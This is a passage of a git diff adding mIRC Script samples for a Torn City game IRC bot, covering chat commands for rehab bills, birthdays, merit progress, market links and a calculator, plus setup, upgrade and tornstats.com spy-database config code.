+        msg # $tc.col(1) $+ Ouch $+ $tc.col(2) %name $+ $tc.col(1) $+ ! I have updated your latest rehab bill. $tc.col(8) $+ ( $+ %rep reps for $ $+ $tc.addcomma($calc(%rep * 250000)) $+ ) $tc.col(1) $+ - You can view your rehab records by using $+ $tc.col(2) 
+        var %record = $tc.getset(%id,rehabrec)
+        if (%record != $null) { 
+          if ($gettok(%record,2,32) < %rep) { 
+            msg # $tc.col(6) $+ You have also beat your record! $tc.col(1) $+ It was previously set on: $+ $tc.col(2) $asctime($gettok(%record,1,32),mmm dd) $tc.col(1) $+ @ $+ $tc.col(2) $asctime($gettok(%record,1,32),h:nn:ss tt) $tc.col(1) $+ TC time $tc.col(8) $+ ( $+ $duration($calc($tc.time - $gettok(%record,1,32))) ago) $tc.col(1) $+ for $gettok(%record,2,32) reps. It had cost you $+ $tc.col(2) $ $+ $tc.addcomma($calc($gettok(%record,2,32) * 250000)) $+ $tc.col(1) $+ !
+            tc.set %id rehabrec $tc.time %rep
+          }
+        }
+        else {
+          msg # $tc.col(6) $+ I have also set your current record to this last bill.
+          tc.set %id rehabrec $tc.time %rep
+        }
+      }
+    }
+
+    if ($1 == !rinfo || $1 == !rehab) {
+      var %id = $tc.getid($nick), %name = $tc.getname(%id)
+      if (%id != $null) {
+        var %rehab = $tc.getset(%id,rehab)
+        if (%rehab != $null) { 
+          var %record = $tc.getset(%id,rehabrec)
+          msg # $tc.col(2) $+ %name $+ $tc.col(1) $+ , your last rehab bill was on: $+ $tc.col(2) $asctime($gettok(%rehab,1,32),mmm d yyyy) $tc.col(1) $+ @ $+ $tc.col(2) $asctime($gettok(%rehab,1,32),h:nn:ss tt) $tc.col(1) $+ TC time $tc.col(8) $+ ( $+ $duration($calc($tc.time - $gettok(%rehab,1,32))) ago) $tc.col(1) $+ for $gettok(%rehab,2,32) reps. It cost you $+ $tc.col(2) $ $+ $tc.addcomma($calc($gettok(%rehab,2,32) * 250000)) $+ $tc.col(1) $+ .
+          msg # $tc.col(1) $+ Your largest bill was on: $+ $tc.col(2) $asctime($gettok(%record,1,32),mmm d yyyy) $tc.col(1) $+ @ $+ $tc.col(2) $asctime($gettok(%record,1,32),h:nn:ss tt) $tc.col(1) $+ TC time $tc.col(8) $+ ( $+ $duration($calc($tc.time - $gettok(%record,1,32))) ago) $+ $tc.col(1) for $gettok(%record,2,32) reps. It cost you $+ $tc.col(2) $ $+ $tc.addcomma($calc($gettok(%record,2,32) * 250000)) $+ $tc.col(1) $+ !
+        }         
+        else { msg # $tc.col(2) $+ %name $+ $tc.col(5) $+ , you haven't recorded a rehab bill yet! }
+      }        
+      else { msg # $tc.col(5) $+ Don't know who you are $+ $tc.col(2) $nick $+ $tc.col(5) $+ , need to add your ID to the bot before using the MCS tracker! }        
+    }
+
+    if ($1 == !bdate) {
+      if ($2 == $null) { var %month = $asctime($tc.time,mmm), %day = $asctime($tc.time,dd), %headerpost = $tc.col(1) $+ People with today's birthday: }
+      else {
+        if ($istok(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec,$left($2,3),32)) { var %month = $upper($left($2,1)) $+ $lower($mid($2,2,2)) }
+        else { msg # $tc.col(5) $+ Not sure what month $+ $tc.col(2) $2 $tc.col(5) $+ is. | halt }      
+        if ($3 isnum) { var %day = $3 } | else { msg # $tc.col(5) $+ Not sure what day $+ $tc.col(2) $3 $tc.col(5) $+ is. | halt }
+        var %headerpost = $tc.col(1) $+ People with a birthday on $+ $tc.col(2) %month %day $+ $tc.col(1) $+ :
+      }
+      var %ptr = 1, %end = $ini($tc.psetfile,0)
+      while (%ptr <= %end) {
+        var %id = $ini($tc.psetfile,%ptr), %chk = $tc.getset(%id,bday)
+        if ($gettok(%chk,1,32) == %month && $gettok(%chk,2,32) == %day) { var %bdaylist = $addtok(%bdaylist,$tc.getname(%id),32) }
+        inc %ptr
+      }
+      if (%bdaylist != $null) {
+        var %namelist = $tc.col(2) $gettok(%bdaylist,1,32)
+        if ($numtok(%bdaylist,32) > 1) {
+          var %ptr = 2, %end = $numtok(%bdaylist,32)        
+          while (%ptr <= %end) {
+            var %namelist = %namelist $+ $tc.col(1) $+ , $tc.col(2) $+ $gettok(%bdaylist,%ptr,32)
+            inc %ptr
+          }
+        }
+        msg # %headerpost | msg # %namelist
+      }
+      else { 
+        if ($2 == $null) { msg # $tc.col(5) $+ It's no-one's birthday today. }
+        else { msg # $tc.col(5) $+ It's no-one's birthday on $+ $tc.col(2) %month %day $+ $tc.col(5) $+ . }
+      }
+      msg # $tc.col(3) $+ To find someone's stored birthdate using their name as search criteria, use: $+ $tc.col(2) !bday Name 
+    }
+
+    if ($1 == !bday) { 
+      if ($2 != $null) { var %id = $tc.getid($2) } 
+      else { var %id = $tc.getid($nick) }
+      if (%id == $null) { msg # $tc.col(5) $+ No ID saved for $+ $tc.col(2) $2 $+ $tc.col(5) $+ , so they couldn't have saved a birthday. | halt }
+      var %name = $tc.getname(%id), %bday = $tc.getset(%id,bday)
+      if (%bday == $null) { msg # $tc.col(5) $+ No birthdate saved for $+ $tc.col(2) %name $+ $tc.col(5) $+ . | halt }
+      msg # $tc.col(2) $+ %name $+ $tc.col(1) $+ 's birthday is: $+ $tc.col(2) %bday
+      msg # $tc.col(3) $+ To find someone's stored birthdate using a date as search criteria, use: $+ $tc.col(2) !bdate (Date) 
+    } 
+
+    ; --------------------------------- other stat paste commands ---------------------------------
+
+    if ($1-2 = Attacks won:) {
+      var %count = $int($remove($3,$chr(44)))
+      if (%count > 1000000) { msg # $tc.col(5) $+ Liar. | halt }
+      if (%count < 0) { msg # $tc.col(5) $+ I don't think so, $+ $tc.col(2) $nick $+ $tc.col(5) $+ . | halt }    
+      if (%count >= 0 && %count < 5) { var %merit = 5, %mername = Woodland Camo, %medal = 50, %medname = Anti Social (1) }
+      if (%count >= 5 && %count < 20) { var %merit = 20, %mername = Desert Camo, %medal = 50, %medname = Anti Social (1) }
+      if (%count >= 20 && %count < 50) { var %merit = 50, %mername = Urban Camo, %medal = 50, %medname = Anti Social (1) } 
+      if (%count >= 50 && %count < 100) { var %merit = 100, %mername = Arctic Camo, %medal = 250, %medname = Happy Slapper (2) }
+      if (%count >= 100 && %count < 250) { var %merit = 250, %mername = Fall Camo, %medal = 250, %medname = Happy Slapper (2) }
+      if (%count >= 250 && %count < 500) { var %merit = 500, %mername = Yellow Camo, %medal = 500, %medname = Scar Maker (3) }
+      if (%count >= 500 && %count < 1000) { var %merit = 1000, %mername = Digital Camo, %medal = 2500, %medname = Going Postal (4) }
+      if (%count >= 1000 && %count < 2000) { var %merit = 2000, %mername = Red Camo, %medal = 2500, %medname = Going Postal (4) }
+      if (%count >= 2000 && %count < 2500) { var %merit = 3000, %mername = Blue Camo, %medal = 2500, %medname = Going Postal (4) }
+      if (%count >= 2500 && %count < 3000) { var %merit = 3000, %mername = Blue Camo, %medal = 10000, %medname = Somebody Call 911 (5) }
+      if (%count >= 3000 && %count < 4000) { var %merit = 4000, %mername = Orange Camo, %medal = 10000, %medname = Somebody Call 911 (5) }
+      if (%count >= 4000 && %count < 5000) { var %merit = 5000, %mername = Pink Camo, %medal = 10000, %medname = Somebody Call 911 (5) }
+      if (%count >= 5000 && %count < 10000) { var %medal = 10000, %medname = Somebody Call 911 (5) }
+      if (%count >= 10000) { msg # $tc.col(2) $+ $nick $+ $tc.col(6) $+ , you have all the merits and medals for winning attacks! | halt }
+      if (%merit == $null) { msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , $tc.col(6) $+ you have all the merits $tc.col(1) $+ and are at $+ $tc.col(2) $tc.addComma(%count) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma(%medal) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc(%medal - %count)) $tc.col(1) $+ to go) until the $+ $tc.col(2) %medname $tc.col(1) $+ medal! }
+      else { msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , $tc.col(1) $+ you are at $+ $tc.col(2) $tc.addComma(%count) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma(%merit) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc(%merit - %count)) $tc.col(1) $+ to go) until the $+ $tc.col(2) %mername $tc.col(1) $+ merit and are at $+ $tc.col(2) $tc.addComma(%count) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma(%medal) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc(%medal - %count)) $tc.col(1) $+ to go) until the $+ $tc.col(2) %medname $tc.col(1) $+ medal! }     
+    }
+    if ($1-2 = Defends won:) {
+      var %count = $int($remove($3,$chr(44)))
+      if (%count > 1000000) { msg # $tc.col(5) $+ Liar. | halt }
+      if (%count < 0) { msg # $tc.col(5) $+ I don't think so, $+ $tc.col(2) $nick $+ $tc.col(5) $+ . | halt }    
+      if (%count >= 0 && %count < 50) { var %merit = 50, %mername = Self Defence, %medal = 50, %medname = Bouncer (1) }      
+      if (%count >= 50 && %count < 250) { var %medal = 250, %medname = Brick Wall (2) }      
+      if (%count >= 250 && %count < 500) { var %medal = 500, %medname = Turtle (3) }
+      if (%count >= 500 && %count < 2500) { var %medal = 2500, %medname = Solid as a Rock (4) }
+      if (%count >= 2500 && %count < 10000) { var %medal = 10000, %medname = Fortress (5) }
+      if (%count >= 10000) { msg # $tc.col(2) $+ $nick $+ $tc.col(6) $+ , you have all the merits and medals for winning defends! | halt }
+      if (%merit == $null) { msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , $tc.col(6) $+ you have all the merits $tc.col(1) $+ and are at $+ $tc.col(2) $tc.addComma(%count) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma(%medal) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc(%medal - %count)) $tc.col(1) $+ to go) until the $+ $tc.col(2) %medname $tc.col(1) $+ medal! }
+      else { msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , $tc.col(1) $+ you are at $+ $tc.col(2) $tc.addComma(%count) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma(%merit) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc(%merit - %count)) $tc.col(1) $+ to go) until the $+ $tc.col(2) %mername $tc.col(1) $+ merit and are at $+ $tc.col(2) $tc.addComma(%count) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma(%medal) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc(%medal - %count)) $tc.col(1) $+ to go) until the $+ $tc.col(2) %medname $tc.col(1) $+ medal! }     
+    }
+    if ($1-2 = People busted:) {
+      var %count = $int($remove($3,$chr(44)))
+      if (%count > 1000000) { msg # $tc.col(5) $+ Liar. | halt }
+      if (%count < 0) { msg # $tc.col(5) $+ I don't think so, $+ $tc.col(2) $nick $+ $tc.col(5) $+ . | halt }    
+      if (%count >= 0 && %count < 250) { var %merit = 1000, %mername = Bar Buster, %medal = 250, %medname = Novice Buster (1) }      
+      if (%count >= 250 && %count < 500) { var %merit = 1000, %mername = Bar Buster, %medal = 500, %medname = Intermediate Buster (2) }
+      if (%count >= 500 && %count < 1000) { var %merit = 1000, %mername = Bar Buster, %medal = 1000, %medname = Advanced Buster (3) }
+      if (%count >= 1000 && %count < 2000) { var %merit = 2500, %mername = Aiding and Abetting, %medal = 2000, %medname = Professional Buster (4) }
+      if (%count >= 2000 && %count < 2500) { var %merit = 2500, %mername = Aiding and Abetting, %medal = 4000, %medname = Expert Buster (5) }
+      if (%count >= 2500 && %count < 4000) { var %merit = 10000, %mername = Don't Drop It, %medal = 4000, %medname = Expert Buster (5) }
+      if (%count >= 4000 && %count < 6000) { var %merit = 10000, %mername = Don't Drop It, %medal = 6000, %medname = Master Buster (6) }
+      if (%count >= 6000 && %count < 8000) { var %merit = 10000, %mername = Don't Drop It, %medal = 8000, %medname = Guru Buster (7) }
+      if (%count >= 8000 && %count < 10000) { var %merit = 10000, %mername = Don't Drop It }
+      if (%count >= 10000) { msg # $tc.col(2) $+ $nick $+ $tc.col(6) $+ , you have all the merits and medals for busting! | halt }
+      if (%medal == $null) { msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , $tc.col(1) $+ you are at $+ $tc.col(2) $tc.addComma(%count) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma(%merit) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc(%merit - %count)) $tc.col(1) $+ to go) until the $+ $tc.col(2) %mername $tc.col(1) $+ merit and $+ $tc.col(6) have all the medals! }     
+      else { msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , $tc.col(1) $+ you are at $+ $tc.col(2) $tc.addComma(%count) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma(%merit) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc(%merit - %count)) $tc.col(1) $+ to go) until the $+ $tc.col(2) %mername $tc.col(1) $+ merit and are at $+ $tc.col(2) $tc.addComma(%count) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma(%medal) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc(%medal - %count)) $tc.col(1) $+ to go) until the $+ $tc.col(2) %medname $tc.col(1) $+ medal! }     
+    }   
+    if ($left($1-,12) == Xanax taken:) {
+      if ($mid($1-,13,1) == $chr(32)) { var %xan = $remove($3,$chr(44)) }
+      else { var %xan = $remove($gettok($1-2,2,58),$chr(44)) }
+      if (%xan > 20000) { msg # $tc.col(5) $+ Liar. | halt }
+      if (%xan isnum) { msg # $tc.col(1) $+ Using an average base price of $+ $tc.col(2) $ $+ 740,000 $tc.col(1) $+ each (South Africa), you have used $+ $tc.col(2) $ $+ $tc.addComma($calc(%xan * 740000)) $tc.col(1) $+ worth of Xanax. } 
+    }
+
+    ; --------------------------------- other misc commands ---------------------------------
+
+    if (https://www.youtube.com/ isin $1 || http://www.youtube.com/ isin $1 || http://youtu.be/ isin $1) {
+      set %tc.ytchan #
+      if (https://www.youtube.com/ isin $1) { set %tc.ytlink $remove($1,https://www.youtube.com) }
+      if (http://www.youtube.com/ isin $1) { set %tc.ytlink $remove($1,http://www.youtube.com) }
+      if (http://youtu.be/ isin $1) { set %tc.ytlink /watch?v= $+ $gettok($remove($1,http://youtu.be/),1,63) }
+      if (%tc.ytlink != $null) {
+        sockclose youtube 
+        sockopen -e youtube www.youtube.com 443 
+      } 
+      else { unset %tc.yt* }
+    }
+
+    if ($1 == !events) { msg # $tc.col(1) $+ Events Page: $+ $tc.col(2) http://www.torn.com/events.php }
+
+    if ($1 == !market) { 
+      if ($2 != $null) { 
+        if ($2 == dp) { var %query = donator pack }
+        elseif ($2 == db) { var %query = dirty bomb }
+        elseif ($2 == fhc) { var %query = feathery hotel coupon }
+        elseif ($2 == xan) { var %query = xanax }
+        elseif ($2 == xtc) { var %query = ecstasy }
+        elseif ($2 == bct) { var %query = business class ticket }
+        elseif ($2 == sed) { var %query = small explosive device }
+        elseif ($2 == bom) { var %query = box of medical supplies }
+        elseif ($2 == lbc) { var %query = lawyer business coupon }
+        elseif ($2 == dbk) { var %query = diamond bladed knife }
+        else { var %query = $2- }
+        msg # $tc.col(1) $+ Market search for $+ $tc.col(2) $2- $+ $tc.col(1) $+ : $+ $tc.col(2) http://www.torn.com/imarket.php#/p=shop&step=shop&type=&searchname= $+ $tc.uencode(%query)
+      }
+      else { msg # $tc.col(3) $+ Displays a market search link for a particular query. $tc.col(1) $+ Usage: $+ $tc.col(2) !market query }    
+    }
+    if ($1 == !donate) { msg # $tc.col(1) $+ Donate to the faction: $+ $tc.col(2) http://www.torn.com/factions.php?step=your&action=armoury&tabID=8#/tab=armoury }
+    if ($1 == !time || $1 == !refill) { msg # $tc.col(1) $+ Current GMT/TC time is: $+ $tc.col(2) $asctime($tc.time,mmm d yyyy) $tc.col(1) $+ at $+ $tc.col(2) $asctime($tc.time, h:nn:ss tt) $+ $tc.col(1) $+ . Energy refill resets in: $+ $tc.col(2) $duration($calc($ctime($asctime($calc($tc.time + 86400),dd/mm/yy) 0:05) - $tc.time)) $+ $tc.col(1) $+ $chr(46) }
+    if ($1 == !calc) { 
+      if ($2 != $null) { 
+        ; easier to read if in a var
+        if ($chr(37) isin $2-) { msg # $tc.col(5) $+ What you tryin to peep at foo? | halt }
+        if (/0 isin $2-) { msg # $tc.col(5) $+ NO! DON'T DO IT! DON'T DO I ...... $tc.col(1) $+ b $+ $tc.col(2) $+ z $+ $tc.col(3) $+ z $+ $tc.col(4) $+ z $+ $tc.col(5) $+ z $+ $tc.col(6) $+ z $+ $tc.col(7) $+ z $+ $tc.col(8) $+ t | halt }
+        ; old
+        ;var %calc = $calc($replace($remove($2-, $chr(44)),x,*,k,000,mil,000000,bil,000000000,m,000000,b,000000000,�,(3/4),�,(1/4),�,^2,�,(1/2)))
+        ; new. Thanks to Ausseh
+        var %calc = $calc($regsubex($ticks,$remove($2-,$chr(44),$chr(32),il),/(^|[+-/*^%]+|[+-/^*%]+\50|\50+|\50)(([0-9]|\56)+)(k|m|b|t|q)/Sig,\1 $+ ( $+ \2 $+ $iif(\4 == q,*1000000000000000,$iif(\4 == t,*1000000000000,$iif(\4 == b,*1000000000,$iif(\4 == m,*1000000,*1000)))) $+ )))
+        msg # $tc.col(1) $+ Calc: $+ $tc.col(2) $2- $tc.col(1) $+ = $+ $tc.col(2) $tc.addcomma(%calc)
+      }
+      else { msg # $tc.col(3) $+ Displays the result from a simple calculation. $tc.col(1) $+ Usage: $+ $tc.col(2) !calc formula $+ $tc.col(1) $+ , ie: !calc 2+2 }
+    }
+    if ($1 == !topic) { msg # $tc.col(1) $+ Topic: $+ $tc.col(2) $chan(#).topic }
+    if ($1 == !google) { 
+      if ($2 == $null) { msg # $tc.col(3) $+ Displays a google link for a query. $tc.col(1) $+ Usage: $+ $tc.col(2) !google Query }
+      else { msg # $tc.col(1) $+ Google: $+ $tc.col(2) http://www.google.com/search?as_q= $+ $tc.uencode($2-) }
+    }
+    if ($1 == !help) { msg # $tc.col(1) $+ Help site: $+ $tc.col(2) http://www.tornstats.com/tornbot/uta9.html }
+    if ($1 == !botinfo) { msg # $tc.col(1) $+ Universal TC Assistant made by: $+ $tc.col(2) PMV $tc.colid(1577993,1,2) v $+ $tc.col(2) $+ $tc.botvers }
+  }
+}
+
+; --------------------------------- upgrade script ---------------------------------
+
+; Pre-init upgrades.
+; This called before anything at all is initialized if hard coded bot version is different then what's stored in the files.
+; Note: If upgrading from an earlier version other then 6.71, upgrade to 6.71 first, then continue from there.
+alias -l tc.upgrade {
+  var %oldvers = $readini($tc.cfgfile,n,File,vers)
+
+  ; v6.71 upgrade check
+  if (%oldvers == 6.71) { tc.v7upg }
+
+  ; upgrades since v7.0
+  if ($readini($tc.cfgfile,n,Cron,decay) == $null) { writeini -n $tc.cfgfile Cron decay $tc.time }
+  if ($readini($tc.cfgfile,n,Config,odrevive) == $null) { writeini -n $tc.cfgfile Config odrevive yes }
+  if ($readini($tc.cfgfile,n,Config,statsaving) == $null) { writeini -n $tc.cfgfile Config statsaving e }
+  if ($readini($tc.cfgfile,n,Banker,enable) == $null) { writeini -n $tc.cfgfile Banker enable e }
+  if ($readini($tc.cfgfile,n,API,enable) == $null) { writeini -n $tc.cfgfile API enable d }
+
+  ; mark version of setting files to current version and post success in status.
+  writeini -n $tc.cfgfile File vers $tc.botvers
+  echo -ag 03Thank you for using my script - script data has been upgraded from %oldvers to $tc.botvers
+}
+
+alias tcoption { tc.cfg }
+alias tcoptions { tc.cfg }
+
+; --------------------------------- initial file generators and setup script ---------------------------------
+
+alias tcsetup {
+  if ($exists($tc.cfgfile)) { echo -ag Config file already exists! Right click the channel or status window and click Config to modify options. | halt }
+  var %tcsetupchan = $input(REQUIRED: Add the initial channels that you want the bot to function in $+ $crlf $+ Seperate them with commas if you want more then one,e,TC Bot Setup)
+  if (%tcsetupchan == $null) { echo -ag Setup halted! Need a channel, type /tcsetup to try again. | halt }
+  var %tcsetupchain = $input(Enter chaining-enabled channel(s). $+ $crlf $+ If you wish to use the same channels as the general bot then leave blank.,e,TC Bot Setup)
+  if (%tcsetupchain == $null) { var %tcsetupchain = %tcsetupchan }
+  var %tcsetupaddrevchan = $input(Do you wish to use a revive channel?,y,TC Bot Setup)
+  if (%tcsetupaddrevchan == $true) { 
+    var %tcsetuprevive = $input(Enter revive channel(s) seperated by comma. $+ $crlf $+ If you wish to use the same channels as the general bot then leave blank.,e,TC Bot Setup)
+    if (%tcsetuprevive == $null) { var %tcsetuprevive = %tcsetupchan }
+    else { var %tcsetuprevive = $null }
+  }
+  var %tcsetupfact = $input(REQUIRED: Type the name of your faction exactly how it is shown in game,e,TC Bot Setup)
+  if (%tcsetupfact == $null) { echo -ag Setup halted! Need faction name, type /tcsetup to try again. | halt }
+  var %tcsetupchup = $input(Faction chaining upgrade? $+ $crlf $+ Use numbers. ie: II = 2 $+ $crlf $+ Leaving blank will use 0,e,TC Bot Setup)
+  if (%tcsetupchup == $null) { var %tcsetupchup = 0 }
+  echo -ag Thank you, writing default values for the rest. You can change them in the control panel afterwards.
+  writeini -n $tc.cfgfile Config faction %tcsetupfact
+  writeini -n $tc.cfgfile Config chan %tcsetupchan   
+  writeini -n $tc.cfgfile Chain chan %tcsetupchain
+  if (%tcsetuprevive != $null) { writeini -n $tc.cfgfile Chain revive %tcsetuprevive }
+  writeini -n $tc.cfgfile Chain upg %tcsetupchup
+  writeini -n $tc.cfgfile Chain resp 0
+  writeini -n $tc.cfgfile Chain chid 0  
+  writeini -n $tc.cfgfile Config ereset yes 
+  writeini -n $tc.cfgfile Config bstats no
+  writeini -n $tc.cfgfile Config findadd no
+  writeini -n $tc.cfgfile Config spyen yes
+  writeini -n $tc.cfgfile Config hermetic 0
+  writeini -h $tc.cfgfile Chain revnote no
+  writeini -n $tc.cfgfile Chain postchains yes
+  writeini -n $tc.cfgfile Chain warresp 0
+  writeini -n $tc.cfgfile Access min o
+  writeini -n $tc.cfgfile Access delid 1
+  writeini -n $tc.cfgfile Access chgid 1
+  writeini -n $tc.cfgfile Access delspy 1
+  writeini -n $tc.cfgfile Access delquote 1
+  writeini -n $tc.cfgfile Access wartally 1
+  writeini -n $tc.cfgfile Access setbday 1
+  writeini -n $tc.cfgfile Quote split no
+  writeini -n $tc.cfgfile Color color y
+  writeini -n $tc.cfgfile Color pri 10
+  writeini -n $tc.cfgfile Color sec 7
+  writeini -n $tc.cfgfile Color help 3
+  writeini -n $tc.cfgfile Color note 13
+  writeini -n $tc.cfgfile Color error 4
+  writeini -n $tc.cfgfile Color good 3
+  writeini -n $tc.cfgfile Color bad 4
+  writeini -n $tc.cfgfile Color subnote 6
+  writeini -n $tc.cfgfile File vers $tc.botvers
+  flushini $tc.cfgfile
+  hfree -w tc.*
+  echo -ag Config file generated and flushed to disk.
+  echo -ag ...  
+  echo -ag -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+  echo -ag Setup Complete! The bot should be good to go, right click on status or channel window to view/change config values from now on. Or, type: /tcoptions
+  echo -ag One more quick thing that you should do: Right click your chat ID in the nick list, go to bot menu and add to admin. This will add your ip to the admin list. It's not required but you won't be able to access admin-only commands without doing so.
+  echo -ag Also please note: the bot will not do nickserv identify or joining channels, use perform within mirc for that.
+  echo -ag -=-
+  echo -ag Thank you for using my bot. :)
+  echo -ag I want to give a big thanks to Rayne [1868280], Stewie [1494547], handsomepants [1897243], forgey [1640970], sinisista [1615339], HLH [1378809], IceBlueFire [776], Ausseh [1554731], and Stretch [1846075] for their help in making/testing this.
+  echo -ag All I ask is that you keep my name as the original author or at least give me credit if you modify/copy my code.
+  echo -ag If you run into any bugs or have a suggestion to add to a future release, feel free to mail PMV [1577993] and I'll see what I can do. 
+  echo -ag Also, if you end up liking it and wish to donate some TC supplies as a token of thanks, I won't say no either. :) 
+  echo -ag -=-
+  echo -ag The script will try to re-initialize now, see status window for success/error messages.
+  echo -ag -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+  tc.init
+}
+
+; v6.71 to v7.0 upgrade script
+alias -l tc.v7upg {
+  echo -ag 07Running v6.71 to v7.x upgrade script. 
+  ; ID converter
+  if ($exists($qt($scriptdir $+ id.txt)) && !$exists($tc.idsfile)) {
+    echo -ag 04Old pre-v7 ID file detected at $scriptdir $+ id.txt and no hash table file exists. 
+    echo -ag This script now uses an internal hash table, running conversion script.
+    var %infile = $qt($scriptdir $+ id.txt), %eof = $lines(%infile), %pos = 1
+    echo -ag Reading %eof IDs in id.txt and adding to hash table...
+    while (%pos <= %eof) {
+      var %read = $read($qt(%infile), %pos), %name = $gettok(%read,1,32), %id = $gettok(%read,2,32)
+      hadd -m convids %name %id
+      inc %pos
+    }
+    echo -ag Saving new table and removing old files... (They should end up in the recycle bin)
+    .remove -b $qt($scriptdir $+ id.txt)
+    if ($exists($qt($scriptdir $+ tempid.txt))) { .remove -b $qt($scriptdir $+ tempid.txt) }
+    hsave convids $tc.idsfile
+    hfree convids
+    echo -ah ID conversion was successful
+  }  
+  ; chain id and wartally reset
+  echo -ag 04v6.71 to v7 upgrade - resetting chain/wartally markers since the core has been changed. 
+  echo -ag Also, chain data is now stored in $tc.chlogdir so the old chains\ folder can be removed/archived.
+  if ($readini($tc.cfgfile,n,Chain,id) != $null) { remini  $tc.cfgfile Chain id }
+  if ($readini($tc.cfgfile,n,Chain,wartally) != $null) { writeini -n $tc.cfgfile Chain wartally 1 }
+  echo -ag 03Script data upgraded to v7.0 - Continuing with script update to current version.
+}
diff --git a/samples/mIRC Script/torncity-tsspy.mrc b/samples/mIRC Script/torncity-tsspy.mrc
new file mode 100644
index 0000000000..d4a2c26ad8
--- /dev/null
+++ b/samples/mIRC Script/torncity-tsspy.mrc	
@@ -0,0 +1,632 @@
+ON 1:START:{ unset %tornstats* | unset %tsspy.* | tornstats.init }
+
+alias -l tornstats.cfgfile { return $qt($scriptdir $+ tornstats.ini) }
+alias -l tornstats.localfile { return $qt($scriptdir $+ spy.db) }
+alias -l tornstats.botvers { return 3.0 }
+
+alias -l tornstats.init {
+  if (!$exists($tornstats.cfgfile)) { tornstats.upg | echo -ag www.tornstats.com Spy Database script: Default values have been written. Right click channel section for config panel. }
+  if ($readini($tornstats.cfgfile,n,Spy,vers) != $tornstats.botvers) { tornstats.upg | echo -ag www.tornstats.com Spy Database script: Thank you for updating, new config entries have been populated with default values. }
+  set %tornstats.chanlist $addtok(%tornstats.chanlist,$readini($tornstats.cfgfile,n,Spy,chan),44)
+  echo -sg 10tornstats.com Spy Database script made by:7 PMV 10[07157799310] v07 $+ $tornstats.botvers 10- Initialized Successfully!    
+}
+
+
+; ##################################################################### CONFIG CODE #####################################################################
+
+
+dialog -l tornstats.cfgview {
+  title "www.tornstats.com Spy Database Config"
+  size -1 -1 260 125
+  option dbu
+  check "Enable Script (warning: Disable the spy bot on Universal TC Bot if using this script!)",1,4 4 220 10
+  text "Channel(s):",1001,4 18 40 10, right
+  text "Tornstats Key:",1002,4 32 40 10, right
+  text "API Key:",1003,4 44 40 10, right
+  edit "",100,50 16 150 10, autohs
+  edit "",101,50 30 150 10, autohs
+  edit "",102,50 42 150 10, autohs
+  button "Set",10,220 20 25 25
+  check "Cache Saved Spies Locally (works with Asshole v5.0 or higher/Universal TC Bot)",2,4 56 200 10
+  check "Display Socket Errors",3,4 68 200 10
+  text "",999,4 115 252 10, center
+}
+
+on 1:DIALOG:tornstats.cfgview:sclick:1:{
+  if ($readini($tornstats.cfgfile,n,Spy,enable) == no) { writeini -n $tornstats.cfgfile Spy enable yes | did -c tornstats.cfgview 1 | did -a tornstats.cfgview 999 Script is now ENABLED. }
+  else { writeini -n $tornstats.cfgfile Spy enable no | did -u tornstats.cfgview 1 | did -a tornstats.cfgview 999 Script is now DISABLED. }
+  flushini $tornstats.cfgfile
+}
+
+on 1:DIALOG:tornstats.cfgview:sclick:2:{
+  if ($readini($tornstats.cfgfile,n,Spy,cache) == no) { writeini -n $tornstats.cfgfile Spy cache yes | did -c tornstats.cfgview 2 | did -a tornstats.cfgview 999 Script will now save spy updates locally as well. }
+  else { writeini -n $tornstats.cfgfile Spy cache no | did -u tornstats.cfgview 2 | did -a tornstats.cfgview 999 Script will NOT save updates locally. }
+  flushini $tornstats.cfgfile
+}
+
+on 1:DIALOG:tornstats.cfgview:sclick:3:{
+  if ($readini($tornstats.cfgfile,n,Spy,sockerr) == no) { writeini -n $tornstats.cfgfile Spy sockerr yes | did -c tornstats.cfgview 3 | did -a tornstats.cfgview 999 Script will now display socket errors if any. }
+  else { writeini -n $tornstats.cfgfile Spy sockerr no | did -u tornstats.cfgview 3 | did -a tornstats.cfgview 999 Script will hide socket errors. }
+  flushini $tornstats.cfgfile
+}
+
+on 1:DIALOG:tornstats.cfgview:sclick:10:{
+  if ($did(tornstats.cfgview,100).text != $null) { writeini -n $tornstats.cfgfile Spy chan $remove($did(tornstats.cfgview,100).text,$chr(32)) }
+  else { if ($readini($tornstats.cfgfile,n,Spy,chan) != $null) { remini $tornstats.cfgfile Spy chan } }
+  if ($did(tornstats.cfgview,101).text != $null) { writeini -n $tornstats.cfgfile Spy key $did(tornstats.cfgview,101).text }
+  else { if ($readini($tornstats.cfgfile,n,Spy,key) != $null) { remini $tornstats.cfgfile Spy key } }
+  if ($did(tornstats.cfgview,102).text != $null) { writeini -n $tornstats.cfgfile Spy api $did(tornstats.cfgview,102).text }
+  else { if ($readini($tornstats.cfgfile,n,Spy,api) != $null) { remini $tornstats.cfgfile Spy api } }
+  set %tornstats.chanlist $readini($tornstats.cfgfile,n,Spy,chan)
